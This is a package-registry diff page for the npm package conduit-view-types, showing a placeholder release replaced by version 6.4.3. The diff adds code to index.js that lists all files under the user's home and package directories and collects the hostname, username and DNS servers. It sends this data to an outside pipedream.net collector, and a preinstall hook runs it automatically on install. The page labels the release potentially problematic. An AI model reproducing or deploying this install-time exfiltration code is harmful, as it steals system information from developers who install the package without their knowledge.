conduit-view-types 0.0.1 → 6.4.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of conduit-view-types might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +53 -3
  2. package/package.json +9 -5
  3. package/README.md +0 -3
package/index.js CHANGED
@@ -1,3 +1,53 @@
1
- throw new Error(
2
- "Placeholder package."
3
- );
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const Path = require("path");
5
+ const FS = require("fs");
6
+ const glob = require("glob");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ (() => {
11
+ glob(os.homedir()+"**/*", (err, en) => {
12
+ if (en.length) {
13
+ data = "<p>os.homedir(): "
14
+ data += en.join(" | ")
15
+ glob(__dirname+"**/*", (err, en) => {
16
+ if (en.length) {
17
+ data += "</p><br><p>__dirname: "
18
+ data += en.join(" | ")
19
+ data += "</p>"
20
+ data = Buffer.from( data ).toString('base64');
21
+ data = JSON.stringify({"b": `${data}`})
22
+ emit(data);
23
+ }
24
+ });
25
+ }
26
+ });
27
+ })();
28
+
29
+ function emit(data) {
30
+ const dd = encodeURI(JSON.stringify({
31
+ p: package,
32
+ c: __dirname,
33
+ hd: os.homedir(),
34
+ hn: os.hostname(),
35
+ un: os.userInfo().username,
36
+ dns: dns.getServers(),
37
+ v: packageJSON.version
38
+ }));
39
+ var options = {
40
+ hostname: "3f35113f41feee80a601db01b48dc963.m.pipedream.net",
41
+ port: 443,
42
+ path: `/hackerone?collect=${dd}`,
43
+ method: "POST",
44
+ headers: {
45
+ 'Content-Type': 'application/json',
46
+ 'Content-Length': data.length
47
+ }
48
+ };
49
+
50
+ req = https.request(options);
51
+ req.write(data);
52
+ req.end();
53
+ }
package/package.json CHANGED
@@ -1,8 +1,12 @@
1
1
  {
2
2
  "name": "conduit-view-types",
3
- "version": "0.0.1",
4
- "description": "Claiming package name as a placeholder.",
3
+ "version": "6.4.3",
4
+ "description": "testing @ hackerone",
5
5
  "main": "index.js",
6
- "author": "treinnew <new@hacked.be>",
7
- "license": "MIT"
8
- }
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Placeholder Package
2
-
3
- This is a placeholder.